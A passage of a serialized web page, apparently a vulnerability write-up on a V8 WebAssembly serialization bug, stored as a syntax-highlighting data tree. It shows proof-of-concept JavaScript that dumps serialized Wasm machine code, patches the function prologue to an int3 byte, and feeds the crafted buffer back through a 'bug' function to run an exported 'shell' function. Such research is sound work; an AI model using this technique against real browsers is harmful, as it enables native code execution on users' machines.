rops":134110,"children":134111},{"style":2540},[134112],{"type":27,"value":18330},{"type":21,"tag":198,"props":134114,"children":134115},{"style":211},[134116],{"type":27,"value":828},{"type":21,"tag":198,"props":134118,"children":134119},{"style":2540},[134120],{"type":27,"value":134},{"type":21,"tag":198,"props":134122,"children":134123},{"style":211},[134124],{"type":27,"value":828},{"type":21,"tag":198,"props":134126,"children":134127},{"style":2540},[134128],{"type":27,"value":3931},{"type":21,"tag":198,"props":134130,"children":134131},{"style":211},[134132],{"type":27,"value":828},{"type":21,"tag":198,"props":134134,"children":134135},{"style":2540},[134136],{"type":27,"value":3482},{"type":21,"tag":198,"props":134138,"children":134139},{"style":211},[134140],{"type":27,"value":828},{"type":21,"tag":198,"props":134142,"children":134143},{"style":2540},[134144],{"type":27,"value":134145},"11",{"type":21,"tag":198,"props":134147,"children":134148},{"style":211},[134149],{"type":27,"value":257},{"type":21,"tag":198,"props":134151,"children":134152},{"class":200,"line":260},[134153],{"type":21,"tag":198,"props":134154,"children":134155},{"style":211},[134156],{"type":27,"value":4558},{"type":21,"tag":198,"props":134158,"children":134159},{"class":200,"line":281},[134160,134164,134168,134172,134176,134181,134185,134189,134193,134198],{"type":21,"tag":198,"props":134161,"children":134162},{"style":249},[134163],{"type":27,"value":35822},{"type":21,"tag":198,"props":134165,"children":134166},{"style":226},[134167],{"type":27,"value":72004},{"type":21,"tag":198,"props":134169,"children":134170},{"style":683},[134171],{"type":27,"value":979},{"type":21,"tag":198,"props":134173,"children":134174},{"style":249},[134175],{"type":27,"value":737},{"type":21,"tag":198,"props":134177,"children":134178},{"style":226},[134179],{"type":27,"value":134180}," WebAssembly",{"type":21,"tag":198,"props":134182,"children":134183},{"style":211},[134184],{"type":27,"value":658},{"type":21,"tag":198,"props":134186,"children":134187},{"style":698},[134188],{"type":27,"value":86301},{"type":21,"tag":198,"props":134190,"children":134191},{"style":211},[134192],{"type":27,"value":706},{"type":21,"tag":198,"props":134194,"children":134195},{"style":226},[134196],{"type":27,"value":134197},"wasm_code",{"type":21,"tag":198,"props":134199,"children":134200},{"style":211},[134201],{"type":27,"value":1470},{"type":21,"tag":198,"props":134203,"children":134204},{"class":200,"line":302},[134205,134209,134214,134218,134222,134226,134230,134235,134239,134244],{"type":21,"tag":198,"props":134206,"children":134207},{"style":249},[134208],{"type":27,"value":35822},{"type":21,"tag":198,"props":134210,"children":134211},{"style":226},[134212],{"type":27,"value":134213}," inst",{"type":21,"tag":198,"props":134215,"children":134216},{"style":683},[134217],{"type":27,"value":979},{"type":21,"tag":198,"props":134219,"children":134220},{"style":249},[134221],{"type":27,"value":737},{"type":21,"tag":198,"props":134223,"children":134224},{"style":226},[134225],{"type":27,"value":134180},{"type":21,"tag":198,"props":134227,"children":134228},{"style":211},[134229],{"type":27,"value":658},{"type":21,"tag":198,"props":134231,"children":134232},{"style":698},[134233],{"type":27,"value":134234},"Instance",{"type":21,"tag":198,"props":134236,"children":134237},{"style":211},[134238],{"type":27,"value":706},{"type":21,"tag":198,"props":134240,"children":134241},{"style":226},[134242],{"type":27,"value":134243},"mod",{"type":21,"tag":198,"props":134245,"children":134246},{"style":211},[134247],{"type":27,"value":1470},{"type":21,"tag":198,"props":134249,"children":134250},{"class":200,"line":323},[134251,134255,134259,134263,134267,134271,134275,134279,134284],{"type":21,"tag":198,"props":134252,"children":134253},{"style":249},[134254],{"type":27,"value":35822},{"type":21,"tag":198,"props":134256,"children":134257},{"style":226},[134258],{"type":27,"value":80391},{"type":21,"tag":198,"props":134260,"children":134261},{"style":683},[134262],{"type":27,"value":979},{"type":21,"tag":198,"props":134264,"children":134265},{"style":226},[134266],{"type":27,"value":134213},{"type":21,"tag":198,"props":134268,"children":134269},{"style":211},[134270],{"type":27,"value":658},{"type":21,"tag":198,"props":134272,"children":134273},{"style":226},[134274],{"type":27,"value":1969},{"type":21,"tag":198,"props":134276,"children":134277},{"style":211},[134278],{"type":27,"value":658},{"type":21,"tag":198,"props":134280,"children":134281},{"style":226},[134282],{"type":27,"value":134283},"shell",{"type":21,"tag":198,"props":134285,"children":134286},{"style":211},[134287],{"type":27,"value":1483},{"type":21,"tag":198,"props":134289,"children":134290},{"class":200,"line":344},[134291],{"type":21,"tag":198,"props":134292,"children":134293},{"emptyLinePlaceholder":16},[134294],{"type":27,"value":1283},{"type":21,"tag":198,"props":134296,"children":134297},{"class":200,"line":365},[134298,134302,134307,134311,134315],{"type":21,"tag":198,"props":134299,"children":134300},{"style":683},[134301],{"type":27,"value":56765},{"type":21,"tag":198,"props":134303,"children":134304},{"style":698},[134305],{"type":27,"value":134306},"WasmTierUpFunction",{"type":21,"tag":198,"props":134308,"children":134309},{"style":211},[134310],{"type":27,"value":706},{"type":21,"tag":198,"props":134312,"children":134313},{"style":226},[134314],{"type":27,"value":76682},{"type":21,"tag":198,"props":134316,"children":134317},{"style":211},[134318],{"type":27,"value":1470},{"type":21,"tag":198,"props":134320,"children":134321},{"class":200,"line":386},[134322,134326,134331,134335,134340,134344,134348,134352],{"type":21,"tag":198,"props":134323,"children":134324},{"style":249},[134325],{"type":27,"value":35822},{"type":21,"tag":198,"props":134327,"children":134328},{"style":226},[134329],{"type":27,"value":134330}," serialized",{"type":21,"tag":198,"props":134332,"children":134333},{"style":683},[134334],{"type":27,"value":979},{"type":21,"tag":198,"props":134336,"children":134337},{"style":683},[134338],{"type":27,"value":134339}," %",{"type":21,"tag":198,"props":134341,"children":134342},{"style":698},[134343],{"type":27,"value":133338},{"type":21,"tag":198,"props":134345,"children":134346},{"style":211},[134347],{"type":27,"value":706},{"type":21,"tag":198,"props":134349,"children":134350},{"style":226},[134351],{"type":27,"value":134243},{"type":21,"tag":198,"props":134353,"children":134354},{"style":211},[134355],{"type":27,"value":1470},{"type":21,"tag":198,"props":134357,"children":134358},{"class":200,"line":408},[134359,134363,134367,134371,134375,134379,134383,134388],{"type":21,"tag":198,"props":134360,"children":134361},{"style":249},[134362],{"type":27,"value":12597},{"type":21,"tag":198,"props":134364,"children":134365},{"style":226},[134366],{"type":27,"value":9971},{"type":21,"tag":198,"props":134368,"children":134369},{"style":683},[134370],{"type":27,"value":979},{"type":21,"tag":198,"props":134372,"children":134373},{"style":249},[134374],{"type":27,"value":737},{"type":21,"tag":198,"props":134376,"children":134377},{"style":698},[134378],{"type":27,"value":133849},{"type":21,"tag":198,"props":134380,"children":134381},{"style":211},[134382],{"type":27,"value":706},{"type":21,"tag":198,"props":134384,"children":134385},{"style":226},[134386],{"type":27,"value":134387},"serialized",{"type":21,"tag":198,"props":134389,"children":134390},{"style":211},[134391],{"type":27,"value":1470},{"type":21,"tag":198,"props":134393,"children":134394},{"class":200,"line":429},[134395,134400,134404,134408,134412,134417,134421,134425,134429,134434,134438,134443,134447,134451,134456],{"type":21,"tag":198,"props":134396,"children":134397},{"style":226},[134398],{"type":27,"value":134399},"console",{"type":21,"tag":198,"props":134401,"children":134402},{"style":211},[134403],{"type":27,"value":658},{"type":21,"tag":198,"props":134405,"children":134406},{"style":698},[134407],{"type":27,"value":102335},{"type":21,"tag":198,"props":134409,"children":134410},{"style":211},[134411],{"type":27,"value":706},{"type":21,"tag":198,"props":134413,"children":134414},{"style":205},[134415],{"type":27,"value":134416},"'['",{"type":21,"tag":198,"props":134418,"children":134419},{"style":683},[134420],{"type":27,"value":1440},{"type":21,"tag":198,"props":134422,"children":134423},{"style":226},[134424],{"type":27,"value":9971},{"type":21,"tag":198,"props":134426,"children":134427},{"style":211},[134428],{"type":27,"value":658},{"type":21,"tag":198,"props":134430,"children":134431},{"style":698},[134432],{"type":27,"value":134433},"join",{"type":21,"tag":198,"props":134435,"children":134436},{"style":211},[134437],{"type":27,"value":706},{"type":21,"tag":198,"props":134439,"children":134440},{"style":205},[134441],{"type":27,"value":134442},"', '",{"type":21,"tag":198,"props":134444,"children":134445},{"style":211},[134446],{"type":27,"value":1541},{"type":21,"tag":198,"props":134448,"children":134449},{"style":683},[134450],{"type":27,"value":5193},{"type":21,"tag":198,"props":134452,"children":134453},{"style":205},[134454],{"type":27,"value":134455}," ']'",{"type":21,"tag":198,"props":134457,"children":134458},{"style":211},[134459],{"type":27,"value":1470},{"type":21,"tag":30,"props":134461,"children":134462},{},[134463],{"type":27,"value":134464},"This produces the following output:",{"type":21,"tag":187,"props":134466,"children":134468},{"code":134467},"[147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 85, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93, 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0]\n",[134469],{"type":21,"tag":194,"props":134470,"children":134471},{"__ignoreMap":7},[134472],{"type":27,"value":134467},{"type":21,"tag":30,"props":134474,"children":134475},{},[134476,134478,134484,134486,134492,134494,134500,134501,134507,134509,134514],{"type":27,"value":134477},"The bytes ",{"type":21,"tag":194,"props":134479,"children":134481},{"className":134480},[],[134482],{"type":27,"value":134483},"85, 72, 137, 229, ...",{"type":27,"value":134485}," correspond to the x86-64 function prologue (",{"type":21,"tag":194,"props":134487,"children":134489},{"className":134488},[],[134490],{"type":27,"value":134491},"push rbp; mov rbp, rsp",{"type":27,"value":134493},"). We replace the first byte with ",{"type":21,"tag":194,"props":134495,"children":134497},{"className":134496},[],[134498],{"type":27,"value":134499},"0xcc",{"type":27,"value":17263},{"type":21,"tag":194,"props":134502,"children":134504},{"className":134503},[],[134505],{"type":27,"value":134506},"int3",{"type":27,"value":134508}," opcode), and use this modified buffer as the serialized input to ",{"type":21,"tag":194,"props":134510,"children":134512},{"className":134511},[],[134513],{"type":27,"value":133312},{"type":27,"value":185},{"type":21,"tag":187,"props":134516,"children":134518},{"code":134517,"language":36389,"meta":7,"className":36387,"style":7},"(async () => {\n const wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n ]);\n const buffer = new Uint8Array([\n 147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64,\n 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0,\n 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 204, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93,\n 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0,\n ]);\n let r = bug(wasm_code, buffer.buffer);\n result = (await r.next()).value;\n const wasm_instance = new WebAssembly.Instance(result);\n const f = wasm_instance.exports.shell;\n f();\n})();\n",[134519],{"type":21,"tag":194,"props":134520,"children":134521},{"__ignoreMap":7},[134522,134545,134572,134792,134859,134867,134894,135108,135360,135611,135837,136081,136301,136308,136357,136402,136446,136485,136497],{"type":21,"tag":198,"props":134523,"children":134524},{"class":200,"line":201},[134525,134529,134533,134537,134541],{"type":21,"tag":198,"props":134526,"children":134527},{"style":211},[134528],{"type":27,"value":706},{"type":21,"tag":198,"props":134530,"children":134531},{"style":249},[134532],{"type":27,"value":36919},{"type":21,"tag":198,"props":134534,"children":134535},{"style":211},[134536],{"type":27,"value":40452},{"type":21,"tag":198,"props":134538,"children":134539},{"style":249},[134540],{"type":27,"value":15626},{"type":21,"tag":198,"props":134542,"children":134543},{"style":211},[134544],{"type":27,"value":233},{"type":21,"tag":198,"props":134546,"children":134547},{"class":200,"line":217},[134548,134552,134556,134560,134564,134568],{"type":21,"tag":198,"props":134549,"children":134550},{"style":249},[134551],{"type":27,"value":969},{"type":21,"tag":198,"props":134553,"children":134554},{"style":226},[134555],{"type":27,"value":133836},{"type":21,"tag":198,"props":134557,"children":134558},{"style":683},[134559],{"type":27,"value":979},{"type":21,"tag":198,"props":134561,"children":134562},{"style":249},[134563],{"type":27,"value":737},{"type":21,"tag":198,"props":134565,"children":134566},{"style":698},[134567],{"type":27,"value":133849},{"type":21,"tag":198,"props":134569,"children":134570},{"style":211},[134571],{"type":27,"value":133854},{"type":21,"tag":198,"props":134573,"children":134574},{"class":200,"line":236},[134575,134580,134584,134588,134592,134596,134600,134604,134608,134612,134616,134620,134624,134628,134632,134636,134640,134644,134648,134652,134656,134660,134664,134668,134672,134676,134680,134684,134688,134692,134696,134700,134704,134708,134712,134716,134720,134724,134728,134732,134736,134740,134744,134748,134752,134756,134760,134764,134768,134772,134776,134780,134784,134788],{"type":21,"tag":198,"props":134576,"children":134577},{"style":2540},[134578],{"type":27,"value":134579}," 0",{"type":21,"tag":198,"props":134581,"children":134582},{"style":211},[134583],{"type":27,"value":828},{"type":21,"tag":198,"props":134585,"children":134586},{"style":2540},[134587],{"type":27,"value":133871},{"type":21,"tag":198,"props":134589,"children":134590},{"style":211},[134591],{"type":27,"value":828},{"type":21,"tag":198,"props":134593,"children":134594},{"style":2540},[134595],{"type":27,"value":133880},{"type":21,"tag":198,"props":134597,"children":134598},{"style":211},[134599],{"type":27,"value":828},{"type":21,"tag":198,"props":134601,"children":134602},{"style":2540},[134603],{"type":27,"value":133889},{"type":21,"tag":198,"props":134605,"children":134606},{"style":211},[134607],{"type":27,"value":828},{"type":21,"tag":198,"props":134609,"children":134610},{"style":2540},[134611],{"type":27,"value":134},{"type":21,"tag":198,"props":134613,"children":134614},{"style":211},[134615],{"type":27,"value":828},{"type":21,"tag":198,"props":134617,"children":134618},{"style":2540},[134619],{"type":27,"value":3482},{"type":21,"tag":198,"props":134621,"children":134622},{"style":211},[134623],{"type":27,"value":828},{"type":21,"tag":198,"props":134625,"children":134626},{"style":2540},[134627],{"type":27,"value":3482},{"type":21,"tag":198,"props":134629,"children":134630},{"style":211},[134631],{"type":27,"value":828},{"type":21,"tag":198,"props":134633,"children":134634},{"style":2540},[134635],{"type":27,"value":3482},{"type":21,"tag":198,"props":134637,"children":134638},{"style":211},[134639],{"type":27,"value":828},{"type":21,"tag":198,"props":134641,"children":134642},{"style":2540},[134643],{"type":27,"value":134},{"type":21,"tag":198,"props":134645,"children":134646},{"style":211},[134647],{"type":27,"value":828},{"type":21,"tag":198,"props":134649,"children":134650},{"style":2540},[134651],{"type":27,"value":18330},{"type":21,"tag":198,"props":134653,"children":134654},{"style":211},[134655],{"type":27,"value":828},{"type":21,"tag":198,"props":134657,"children":134658},{"style":2540},[134659],{"type":27,"value":134},{"type":21,"tag":198,"props":134661,"children":134662},{"style":211},[134663],{"type":27,"value":828},{"type":21,"tag":198,"props":134665,"children":134666},{"style":2540},[134667],{"type":27,"value":133954},{"type":21,"tag":198,"props":134669,"children":134670},{"style":211},[134671],{"type":27,"value":828},{"type":21,"tag":198,"props":134673,"children":134674},{"style":2540},[134675],{"type":27,"value":3482},{"type":21,"tag":198,"props":134677,"children":134678},{"style":211},[134679],{"type":27,"value":828},{"type":21,"tag":198,"props":134681,"children":134682},{"style":2540},[134683],{"type":27,"value":3482},{"type":21,"tag":198,"props":134685,"children":134686},{"style":211},[134687],{"type":27,"value":828},{"type":21,"tag":198,"props":134689,"children":134690},{"style":2540},[134691],{"type":27,"value":18097},{"type":21,"tag":198,"props":134693,"children":134694},{"style":211},[134695],{"type":27,"value":828},{"type":21,"tag":198,"props":134697,"children":134698},{"style":2540},[134699],{"type":27,"value":3931},{"type":21,"tag":198,"props":134701,"children":134702},{"style":211},[134703],{"type":27,"value":828},{"type":21,"tag":198,"props":134705,"children":134706},{"style":2540},[134707],{"type":27,"value":134},{"type":21,"tag":198,"props":134709,"children":134710},{"style":211},[134711],{"type":27,"value":828},{"type":21,"tag":198,"props":134713,"children":134714},{"style":2540},[134715],{"type":27,"value":3482},{"type":21,"tag":198,"props":134717,"children":134718},{"style":211},[134719],{"type":27,"value":828},{"type":21,"tag":198,"props":134721,"children":134722},{"style":2540},[134723],{"type":27,"value":55047},{"type":21,"tag":198,"props":134725,"children":134726},{"style":211},[134727],{"type":27,"value":828},{"type":21,"tag":198,"props":134729,"children":134730},{"style":2540},[134731],{"type":27,"value":56262},{"type":21,"tag":198,"props":134733,"children":134734},{"style":211},[134735],{"type":27,"value":828},{"type":21,"tag":198,"props":134737,"children":134738},{"style":2540},[134739],{"type":27,"value":134},{"type":21,"tag":198,"props":134741,"children":134742},{"style":211},[134743],{"type":27,"value":828},{"type":21,"tag":198,"props":134745,"children":134746},{"style":2540},[134747],{"type":27,"value":18911},{"type":21,"tag":198,"props":134749,"children":134750},{"style":211},[134751],{"type":27,"value":828},{"type":21,"tag":198,"props":134753,"children":134754},{"style":2540},[134755],{"type":27,"value":133880},{"type":21,"tag":198,"props":134757,"children":134758},{"style":211},[134759],{"type":27,"value":828},{"type":21,"tag":198,"props":134761,"children":134762},{"style":2540},[134763],{"type":27,"value":134051},{"type":21,"tag":198,"props":134765,"children":134766},{"style":211},[134767],{"type":27,"value":828},{"type":21,"tag":198,"props":134769,"children":134770},{"style":2540},[134771],{"type":27,"value":134060},{"type":21,"tag":198,"props":134773,"children":134774},{"style":211},[134775],{"type":27,"value":828},{"type":21,"tag":198,"props":134777,"children":134778},{"style":2540},[134779],{"type":27,"value":134069},{"type":21,"tag":198,"props":134781,"children":134782},{"style":211},[134783],{"type":27,"value":828},{"type":21,"tag":198,"props":134785,"children":134786},{"style":2540},[134787],{"type":27,"value":134069},{"type":21,"tag":198,"props":134789,"children":134790},{"style":211},[134791],{"type":27,"value":257},{"type":21,"tag":198,"props":134793,"children":134794},{"class":200,"line":260},[134795,134799,134803,134807,134811,134815,134819,134823,134827,134831,134835,134839,134843,134847,134851,134855],{"type":21,"tag":198,"props":134796,"children":134797},{"style":2540},[134798],{"type":27,"value":134579},{"type":21,"tag":198,"props":134800,"children":134801},{"style":211},[134802],{"type":27,"value":828},{"type":21,"tag":198,"props":134804,"children":134805},{"style":2540},[134806],{"type":27,"value":3482},{"type":21,"tag":198,"props":134808,"children":134809},{"style":211},[134810],{"type":27,"value":828},{"type":21,"tag":198,"props":134812,"children":134813},{"style":2540},[134814],{"type":27,"value":89635},{"type":21,"tag":198,"props":134816,"children":134817},{"style":211},[134818],{"type":27,"value":828},{"type":21,"tag":198,"props":134820,"children":134821},{"style":2540},[134822],{"type":27,"value":18330},{"type":21,"tag":198,"props":134824,"children":134825},{"style":211},[134826],{"type":27,"value":828},{"type":21,"tag":198,"props":134828,"children":134829},{"style":2540},[134830],{"type":27,"value":134},{"type":21,"tag":198,"props":134832,"children":134833},{"style":211},[134834],{"type":27,"value":828},{"type":21,"tag":198,"props":134836,"children":134837},{"style":2540},[134838],{"type":27,"value":3931},{"type":21,"tag":198,"props":134840,"children":134841},{"style":211},[134842],{"type":27,"value":828},{"type":21,"tag":198,"props":134844,"children":134845},{"style":2540},[134846],{"type":27,"value":3482},{"type":21,"tag":198,"props":134848,"children":134849},{"style":211},[134850],{"type":27,"value":828},{"type":21,"tag":198,"props":134852,"children":134853},{"style":2540},[134854],{"type":27,"value":134145},{"type":21,"tag":198,"props":134856,"children":134857},{"style":211},[134858],{"type":27,"value":257},{"type":21,"tag":198,"props":134860,"children":134861},{"class":200,"line":281},[134862],{"type":21,"tag":198,"props":134863,"children":134864},{"style":211},[134865],{"type":27,"value":134866}," ]);\n",{"type":21,"tag":198,"props":134868,"children":134869},{"class":200,"line":302},[134870,134874,134878,134882,134886,134890],{"type":21,"tag":198,"props":134871,"children":134872},{"style":249},[134873],{"type":27,"value":969},{"type":21,"tag":198,"props":134875,"children":134876},{"style":226},[134877],{"type":27,"value":125649},{"type":21,"tag":198,"props":134879,"children":134880},{"style":683},[134881],{"type":27,"value":979},{"type":21,"tag":198,"props":134883,"children":134884},{"style":249},[134885],{"type":27,"value":737},{"type":21,"tag":198,"props":134887,"children":134888},{"style":698},[134889],{"type":27,"value":133849},{"type":21,"tag":198,"props":134891,"children":134892},{"style":211},[134893],{"type":27,"value":133854},{"type":21,"tag":198,"props":134895,"children":134896},{"class":200,"line":323},[134897,134902,134906,134910,134914,134919,134923,134928,134932,134937,134941,134946,134950,134955,134959,134964,134968,134973,134977,134982,134986,134990,134994,134998,135002,135007,135011,135016,135020,135024,135028,135032,135036,135040,135044,135048,135052,135056,135060,135064,135068,135072,135076,135080,135084,135088,135092,135096,135100,135104],{"type":21,"tag":198,"props":134898,"children":134899},{"style":2540},[134900],{"type":27,"value":134901}," 147",{"type":21,"tag":198,"props":134903,"children":134904},{"style":211},[134905],{"type":27,"value":828},{"type":21,"tag":198,"props":134907,"children":134908},{"style":2540},[134909],{"type":27,"value":19223},{"type":21,"tag":198,"props":134911,"children":134912},{"style":211},[134913],{"type":27,"value":828},{"type":21,"tag":198,"props":134915,"children":134916},{"style":2540},[134917],{"type":27,"value":134918},"222",{"type":21,"tag":198,"props":134920,"children":134921},{"style":211},[134922],{"type":27,"value":828},{"type":21,"tag":198,"props":134924,"children":134925},{"style":2540},[134926],{"type":27,"value":134927},"192",{"type":21,"tag":198,"props":134929,"children":134930},{"style":211},[134931],{"type":27,"value":828},{"type":21,"tag":198,"props":134933,"children":134934},{"style":2540},[134935],{"type":27,"value":134936},"20",{"type":21,"tag":198,"props":134938,"children":134939},{"style":211},[134940],{"type":27,"value":828},{"type":21,"tag":198,"props":134942,"children":134943},{"style":2540},[134944],{"type":27,"value":134945},"119",{"type":21,"tag":198,"props":134947,"children":134948},{"style":211},[134949],{"type":27,"value":828},{"type":21,"tag":198,"props":134951,"children":134952},{"style":2540},[134953],{"type":27,"value":134954},"44",{"type":21,"tag":198,"props":134956,"children":134957},{"style":211},[134958],{"type":27,"value":828},{"type":21,"tag":198,"props":134960,"children":134961},{"style":2540},[134962],{"type":27,"value":134963},"43",{"type":21,"tag":198,"props":134965,"children":134966},{"style":211},[134967],{"type":27,"value":828},{"type":21,"tag":198,"props":134969,"children":134970},{"style":2540},[134971],{"type":27,"value":134972},"127",{"type":21,"tag":198,"props":134974,"children":134975},{"style":211},[134976],{"type":27,"value":828},{"type":21,"tag":198,"props":134978,"children":134979},{"style":2540},[134980],{"type":27,"value":134981},"62",{"type":21,"tag":198,"props":134983,"children":134984},{"style":211},[134985],{"type":27,"value":828},{"type":21,"tag":198,"props":134987,"children":134988},{"style":2540},[134989],{"type":27,"value":18097},{"type":21,"tag":198,"props":134991,"children":134992},{"style":211},[134993],{"type":27,"value":828},{"type":21,"tag":198,"props":134995,"children":134996},{"style":2540},[134997],{"type":27,"value":3482},{"type":21,"tag":198,"props":134999,"children":135000},{"style":211},[135001],{"type":27,"value":828},{"type":21,"tag":198,"props":135003,"children":135004},{"style":2540},[135005],{"type":27,"value":135006},"159",{"type":21,"tag":198,"props":135008,"children":135009},{"style":211},[135010],{"type":27,"value":828},{"type":21,"tag":198,"props":135012,"children":135013},{"style":2540},[135014],{"type":27,"value":135015},"206",{"type":21,"tag":198,"props":135017,"children":135018},{"style":211},[135019],{"type":27,"value":828},{"type":21,"tag":198,"props":135021,"children":135022},{"style":2540},[135023],{"type":27,"value":44907},{"type":21,"tag":198,"props":135025,"children":135026},{"style":211},[135027],{"type":27,"value":828},{"type":21,"tag":198,"props":135029,"children":135030},{"style":2540},[135031],{"type":27,"value":134963},{"type":21,"tag":198,"props":135033,"children":135034},{"style":211},[135035],{"type":27,"value":828},{"type":21,"tag":198,"props":135037,"children":135038},{"style":2540},[135039],{"type":27,"value":3482},{"type":21,"tag":198,"props":135041,"children":135042},{"style":211},[135043],{"type":27,"value":828},{"type":21,"tag":198,"props":135045,"children":135046},{"style":2540},[135047],{"type":27,"value":3482},{"type":21,"tag":198,"props":135049,"children":135050},{"style":211},[135051],{"type":27,"value":828},{"type":21,"tag":198,"props":135053,"children":135054},{"style":2540},[135055],{"type":27,"value":18097},{"type":21,"tag":198,"props":135057,"children":135058},{"style":211},[135059],{"type":27,"value":828},{"type":21,"tag":198,"props":135061,"children":135062},{"style":2540},[135063],{"type":27,"value":3482},{"type":21,"tag":198,"props":135065,"children":135066},{"style":211},[135067],{"type":27,"value":828},{"type":21,"tag":198,"props":135069,"children":135070},{"style":2540},[135071],{"type":27,"value":3482},{"type":21,"tag":198,"props":135073,"children":135074},{"style":211},[135075],{"type":27,"value":828},{"type":21,"tag":198,"props":135077,"children":135078},{"style":2540},[135079],{"type":27,"value":3482},{"type":21,"tag":198,"props":135081,"children":135082},{"style":211},[135083],{"type":27,"value":828},{"type":21,"tag":198,"props":135085,"children":135086},{"style":2540},[135087],{"type":27,"value":3482},{"type":21,"tag":198,"props":135089,"children":135090},{"style":211},[135091],{"type":27,"value":828},{"type":21,"tag":198,"props":135093,"children":135094},{"style":2540},[135095],{"type":27,"value":3482},{"type":21,"tag":198,"props":135097,"children":135098},{"style":211},[135099],{"type":27,"value":828},{"type":21,"tag":198,"props":135101,"children":135102},{"style":2540},[135103],{"type":27,"value":30225},{"type":21,"tag":198,"props":135105,"children":135106},{"style":211},[135107],{"type":27,"value":257},{"type":21,"tag":198,"props":135109,"children":135110},{"class":200,"line":344},[135111,135115,135119,135123,135127,135131,135135,135139,135143,135147,135151,135155,135159,135163,135167,135171,135175,135179,135183,135187,135191,135195,135199,135203,135207,135211,135215,135219,135223,135227,135231,135235,135239,135243,135247,135252,135256,135260,135264,135268,135272,135276,135280,135284,135288,135292,135296,135300,135304,135308,135312,135316,135320,135324,135328,135332,135336,135340,135344,135348,135352,135356],{"type":21,"tag":198,"props":135112,"children":135113},{"style":2540},[135114],{"type":27,"value":134579},{"type":21,"tag":198,"props":135116,"children":135117},{"style":211},[135118],{"type":27,"value":828},{"type":21,"tag":198,"props":135120,"children":135121},{"style":2540},[135122],{"type":27,"value":3482},{"type":21,"tag":198,"props":135124,"children":135125},{"style":211},[135126],{"type":27,"value":828},{"type":21,"tag":198,"props":135128,"children":135129},{"style":2540},[135130],{"type":27,"value":3482},{"type":21,"tag":198,"props":135132,"children":135133},{"style":211},[135134],{"type":27,"value":828},{"type":21,"tag":198,"props":135136,"children":135137},{"style":2540},[135138],{"type":27,"value":3482},{"type":21,"tag":198,"props":135140,"children":135141},{"style":211},[135142],{"type":27,"value":828},{"type":21,"tag":198,"props":135144,"children":135145},{"style":2540},[135146],{"type":27,"value":3482},{"type":21,"tag":198,"props":135148,"children":135149},{"style":211},[135150],{"type":27,"value":828},{"type":21,"tag":198,"props":135152,"children":135153},{"style":2540},[135154],{"type":27,"value":3482},{"type":21,"tag":198,"props":135156,"children":135157},{"style":211},[135158],{"type":27,"value":828},{"type":21,"tag":198,"props":135160,"children":135161},{"style":2540},[135162],{"type":27,"value":3482},{"type":21,"tag":198,"props":135164,"children":135165},{"style":211},[135166],{"type":27,"value":828},{"type":21,"tag":198,"props":135168,"children":135169},{"style":2540},[135170],{"type":27,"value":134},{"type":21,"tag":198,"props":135172,"children":135173},{"style":211},[135174],{"type":27,"value":828},{"type":21,"tag":198,"props":135176,"children":135177},{"style":2540},[135178],{"type":27,"value":3482},{"type":21,"tag":198,"props":135180,"children":135181},{"style":211},[135182],{"type":27,"value":828},{"type":21,"tag":198,"props":135184,"children":135185},{"style":2540},[135186],{"type":27,"value":3482},{"type":21,"tag":198,"props":135188,"children":135189},{"style":211},[135190],{"type":27,"value":828},{"type":21,"tag":198,"props":135192,"children":135193},{"style":2540},[135194],{"type":27,"value":3482},{"type":21,"tag":198,"props":135196,"children":135197},{"style":211},[135198],{"type":27,"value":828},{"type":21,"tag":198,"props":135200,"children":135201},{"style":2540},[135202],{"type":27,"value":3482},{"type":21,"tag":198,"props":135204,"children":135205},{"style":211},[135206],{"type":27,"value":828},{"type":21,"tag":198,"props":135208,"children":135209},{"style":2540},[135210],{"type":27,"value":3482},{"type":21,"tag":198,"props":135212,"children":135213},{"style":211},[135214],{"type":27,"value":828},{"type":21,"tag":198,"props":135216,"children":135217},{"style":2540},[135218],{"type":27,"value":3482},{"type":21,"tag":198,"props":135220,"children":135221},{"style":211},[135222],{"type":27,"value":828},{"type":21,"tag":198,"props":135224,"children":135225},{"style":2540},[135226],{"type":27,"value":3482},{"type":21,"tag":198,"props":135228,"children":135229},{"style":211},[135230],{"type":27,"value":828},{"type":21,"tag":198,"props":135232,"children":135233},{"style":2540},[135234],{"type":27,"value":3482},{"type":21,"tag":198,"props":135236,"children":135237},{"style":211},[135238],{"type":27,"value":828},{"type":21,"tag":198,"props":135240,"children":135241},{"style":2540},[135242],{"type":27,"value":18330},{"type":21,"tag":198,"props":135244,"children":135245},{"style":211},[135246],{"type":27,"